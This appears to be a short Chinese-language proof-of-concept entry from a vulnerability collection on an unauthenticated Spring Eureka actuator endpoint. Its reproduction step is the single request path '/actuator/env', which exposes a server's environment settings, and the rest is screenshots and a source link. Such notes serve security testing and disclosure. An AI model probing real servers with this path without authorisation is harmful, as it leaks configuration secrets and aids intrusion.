POC/wpoc/SpringEureka/SpringEureka存在actuator未授权漏洞.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

19 lines
568 B
Markdown

# SpringEureka存在actuator未授权漏洞
# 一、漏洞描述
SpringEureka存在actuator未授权漏洞
# 二、影响版本
![1724658132224-af3f921b-3ac2-4c1f-bb1a-75222ada73e7.png](./img/dARwOcEzLZ2YhwMy/1724658132224-af3f921b-3ac2-4c1f-bb1a-75222ada73e7-850357.png)
# 三、漏洞复现
```plain
/actuator/env
```
![1724658154695-2ae6085c-ad26-4025-b0b1-4c1a1adc42ff.png](./img/dARwOcEzLZ2YhwMy/1724658154695-2ae6085c-ad26-4025-b0b1-4c1a1adc42ff-511519.png)
> 更新: 2024-09-05 23:24:41
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/vxhc3yrf6eae9gtd>